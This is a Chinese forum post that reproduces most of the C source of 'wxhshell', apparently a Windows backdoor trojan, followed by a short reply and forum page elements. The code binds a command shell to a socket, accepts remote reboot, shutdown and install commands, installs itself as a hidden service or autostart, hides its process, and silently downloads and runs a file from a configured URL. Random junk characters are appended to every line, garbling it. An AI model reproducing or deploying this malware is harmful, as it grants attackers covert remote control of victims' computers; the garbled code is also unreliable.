  if(DownloadFile(cmd,wsh)) PpNG`_O  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^EW6}oj[  
  else NqFfz9G)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v:>sS_^  
  } MU:v& sk  
  else { =*>.z@WQ  
eu$"GbqY  
    switch(cmd[0]) { 2 '$nz  
  rg 0u#-  
  // 帮助 {!wd5C@  
  case '?': { U7,.L  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `bn@;7`X  
    break; t#-4edB,  
  } B)0;gWK  
  // 安装 YG*}F|1  
  case 'i': { |S]fs9  
    if(Install()) 73{<;z}i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b.}J'?yLm  
    else Eq=JmO'gHs  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bi"cWO  
    break; qDfhR`1k  
    } 8vfC  
  // 卸载 <$#^)]Ts  
  case 'r': { at2)%V)  
    if(Uninstall()) ?nE9@G5Gc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _(8N*q*w  
    else RmO kb~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uBC#4cX`D*  
    break; 1Vz3N/AP%?  
    } {?A/1q4rr  
  // 显示 wxhshell 所在路径 8)83j6VF  
  case 'p': { ^?A>)?Sq  
    char svExeFile[MAX_PATH]; gd]_OY7L  
    strcpy(svExeFile,"\n\r"); N f}ZG  
      strcat(svExeFile,ExeFile); [<Mls@?  
        send(wsh,svExeFile,strlen(svExeFile),0); UF}Ji#fqn  
    break; ygK,t*T20  
    } W&3,XFnI_  
  // 重启 XXD4T9Wy  
  case 'b': { &b-&0 rTqz  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !2/o]_K@+  
    if(Boot(REBOOT)) XG5T`>Yl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;rnhv:Iw  
    else { YhN:t?  
    closesocket(wsh); a'*~E ?b  
    ExitThread(0); whGtVx|zR  
    } %.fwNS  
    break; V~Jt  
    } Tq6\oIBkV  
  // 关机 e#WASHZN  
  case 'd': { yD0DPtti  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [8 23w.{]#  
    if(Boot(SHUTDOWN)) :01B)~^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @Yw42`> !s  
    else { e{^lD.E  
    closesocket(wsh); _5OxESE  
    ExitThread(0); bJ eF1LjS  
    } Sg\+al7  
    break; ,WAJ& '^  
    } k[*> nE  
  // 获取shell rV*Ri~Vx  
  case 's': { `?d` #) Ck  
    CmdShell(wsh); ?-<>he  
    closesocket(wsh); SF"r</c[  
    ExitThread(0); "od 2i\  
    break; !?K#f?x<?  
  } !|mzu1S  
  // 退出 6;M{suG|  
  case 'x': { _~ 2o  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f %q ?  
    CloseIt(wsh); SI=7$8T5=5  
    break; oTTE<Ct [  
    } ]L3MIaO2T  
  // 离开 3,Iu!KB  
  case 'q': { Odw9]`,T  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }1.'2.<Y  
    closesocket(wsh); ~;t/VsgGW  
    WSACleanup(); ws$kwSHq  
    exit(1); L_M(Lj  
    break; \GK]6VW  
        } w 5t|C>  
  } .B!  Z0  
  } {CX06BP  
e=_Ng j)  
  // 提示信息 fd&>p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g?u=n`k]\  
} FU)=+m  
  } :8]y*j  
I(z16wQ  
  return; *-E'$  
} 02YmV%  
XXXQAY-,C  
// shell模块句柄 vu:] [2"0  
int CmdShell(SOCKET sock) m.lzkS]P  
{ "}S6a?]V  
STARTUPINFO si; ,y}~rYsP%  
ZeroMemory(&si,sizeof(si)); Z ?F_({im  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H6lZ<R{=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (Dx p  
PROCESS_INFORMATION ProcessInfo; N7^sn!JB  
char cmdline[]="cmd"; '{)Jhl47   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y<l(F?_  
  return 0; cXb&Rm' L  
} HzsQ`M4cA  
3MDs?qx>s  
// 自身启动模式 HI[Pf%${  
int StartFromService(void) WfYG#!}x  
{ C>QWV[F  
typedef struct 'k[vcnSz\/  
{ ,G[Y< ~Hy  
  DWORD ExitStatus; YhP+{Y8t  
  DWORD PebBaseAddress;  _ Ewkb  
  DWORD AffinityMask; &7r a  
  DWORD BasePriority; b&9~F6aM  
  ULONG UniqueProcessId; StiWa<"c  
  ULONG InheritedFromUniqueProcessId; [n3@*)q's  
}   PROCESS_BASIC_INFORMATION; q w @g7  
 hV fANbs  
PROCNTQSIP NtQueryInformationProcess; ((=T E  
D[Q/:_2l  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /-+hMYe  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7j88^59  
thE9fr/  
  HANDLE             hProcess; d)d0,fi?-  
  PROCESS_BASIC_INFORMATION pbi; v[)8 1uY  
TYCjVxfu$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); KxWm63"  
  if(NULL == hInst ) return 0; -&lD0p>*g  
}L=Qp=4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,vAcri 97  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s@ 6Jz\<E  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lAkg47i  
2WE01D9O  
  if (!NtQueryInformationProcess) return 0; M(n@ytz  
sD|}? 7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rE0%R+4?  
  if(!hProcess) return 0; kM(m$Oo.  
)4> 7X)j>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ARG8\qU  
S 8)!70  
  CloseHandle(hProcess); yI^7sf7k  
%D~Mij  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R \]C;@J<  
if(hProcess==NULL) return 0; \9`.jB~<  
*Rxn3tR7  
HMODULE hMod; Rr}m(e=  
char procName[255]; gMp' S  
unsigned long cbNeeded; 3 rR1/\  
`$q0fTz  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qqys`.  
9_ZGb"(Lj  
  CloseHandle(hProcess); \ _?d?:#RD  
T1'\!6_5  
if(strstr(procName,"services")) return 1; // 以服务启动 5=R]1YI~$  
 GInw7  
  return 0; // 注册表启动 Q 9E.AN  
} &y7xL-xP  
+k[w)7Q  
// 主模块 9!.S9[[N  
int StartWxhshell(LPSTR lpCmdLine)  ;v/un  
{ !OMCsUZ  
  SOCKET wsl; ~wO-Hgd  
BOOL val=TRUE; p|@#IoA/e  
  int port=0; '*Ld,`  
  struct sockaddr_in door; }$ Kd-cj+  
CTxP3a9]  
  if(wscfg.ws_autoins) Install(); ae](=OQ  
/Z[HU{4  
port=atoi(lpCmdLine); c e; zn\  
:zNNtv iA  
if(port<=0) port=wscfg.ws_port; 9'@G7*Yn  
G&YcXyH  
  WSADATA data; +r&:c[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6;wKL?snO  
S#<y_w%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   JoZS p"R  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;lfv.-u:<  
  door.sin_family = AF_INET; :Gew8G  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #%w)w R3  
  door.sin_port = htons(port); )uMv]  
d8U<V<H<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @4]{ZUV  
closesocket(wsl); ~O]{m,)n  
return 1; mkrVeBp  
} {'z$5<|  
A(n#k&W1fZ  
  if(listen(wsl,2) == INVALID_SOCKET) { 0Ue~dVrM(?  
closesocket(wsl); s+z5"3'n  
return 1; \jmZ t*c  
} eN\+  
  Wxhshell(wsl); NEvNj  
  WSACleanup(); K}2G4*8S_G  
yvnDS"0<  
return 0; $PAAmaigi  
z;ku*IV  
} _"*s x-  
UtQCTNjC{  
// 以NT服务方式启动 @th94tk,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [rL 8L6,!  
{ D@:'*Z(  
DWORD   status = 0; _pDfPLlY&  
  DWORD   specificError = 0xfffffff; u?H.Z  
U3` ?Z`i(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Eggu-i(rD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1 -C~C]&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ob}XeN(L3  
  serviceStatus.dwWin32ExitCode     = 0; 4nGt*0Er  
  serviceStatus.dwServiceSpecificExitCode = 0; Uw!d;YQm  
  serviceStatus.dwCheckPoint       = 0; z(EpJK=`_  
  serviceStatus.dwWaitHint       = 0; /7fd"U$Lh  
'@Yp@ _  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pOh<I {r1  
  if (hServiceStatusHandle==0) return; |I29m`  
=\oL'>q  
status = GetLastError(); #dD0vYT&od  
  if (status!=NO_ERROR) ~*9Ue@  
{ hJD3G |E  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; P}qpy\/(4  
    serviceStatus.dwCheckPoint       = 0; _:WNk(  
    serviceStatus.dwWaitHint       = 0; x+;y0`oL  
    serviceStatus.dwWin32ExitCode     = status; =N8_S$nx(  
    serviceStatus.dwServiceSpecificExitCode = specificError; FOsxId[f9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); YDj5+'y  
    return; Jb^{o+s53  
  } 29VX-45  
xplV6q`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (|rf>=B+H  
  serviceStatus.dwCheckPoint       = 0; /oLY\>pD  
  serviceStatus.dwWaitHint       = 0; MLg{Y?@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _[-W*,xJ)  
} xR|^{y9n  
O&yAFiCd  
// 处理NT服务事件,比如:启动、停止 K]G(u"'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]61HQ  
{ T,rRE7  
switch(fdwControl) x5V))~Ou  
{ 6,MQT,F  
case SERVICE_CONTROL_STOP: Yyr9Kj:  
  serviceStatus.dwWin32ExitCode = 0; -A=3W3:C  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "v( pluN|  
  serviceStatus.dwCheckPoint   = 0; V aG Qre  
  serviceStatus.dwWaitHint     = 0; ICr.Gwe3_  
  { [t$ r)vX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); aM(#J7;  
  } P=6d<no&<  
  return; G_ ,9h!e  
case SERVICE_CONTROL_PAUSE: h/5S2EB0!O  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; I,`;#Q)nx  
  break; HtiIg a 7  
case SERVICE_CONTROL_CONTINUE: eU,F YJt9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; CV_M |  
  break;  OK8Ho"  
case SERVICE_CONTROL_INTERROGATE: cofdDHXfQI  
  break; NO@`*:.^Y  
}; }f14# y;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xkax  
} i3Bpim.  
a]xGzv5  
// 标准应用程序主函数 URg;e M#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :#35mBe}k  
{ w0lgB%97p  
(Y8 LyY  
// 获取操作系统版本 =QbOvIq  
OsIsNt=GetOsVer(); vt^7:! r  
GetModuleFileName(NULL,ExeFile,MAX_PATH); sQ,xTWdj  
lX)AbK]nb  
  // 从命令行安装 k?TZY|_  
  if(strpbrk(lpCmdLine,"iI")) Install(); Y6Cm PxOQ  
oP%5ymL%J  
  // 下载执行文件 0"T/a1S7bl  
if(wscfg.ws_downexe) { &v t)7[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o3GkTn O  
  WinExec(wscfg.ws_filenam,SW_HIDE); G5K?Q+n   
} "DfjUk  
(V\N1T,f  
if(!OsIsNt) { 5u;//Cm  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,(zV~-:9  
HideProc(); Tsj/alC[  
StartWxhshell(lpCmdLine); \w>Rmf'|  
} 1K<}  
else wy#>Aq  
  if(StartFromService()) _q4O2Fx0  
  // 以服务方式启动 jZPGUoRLg  
  StartServiceCtrlDispatcher(DispatchTable); 9H/R@i[E  
else WFFQxd|Z  
  // 普通方式启动 O-K*->5S  
  StartWxhshell(lpCmdLine); qsbV)c  
PREGQ0  
return 0; dE_"|,:  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八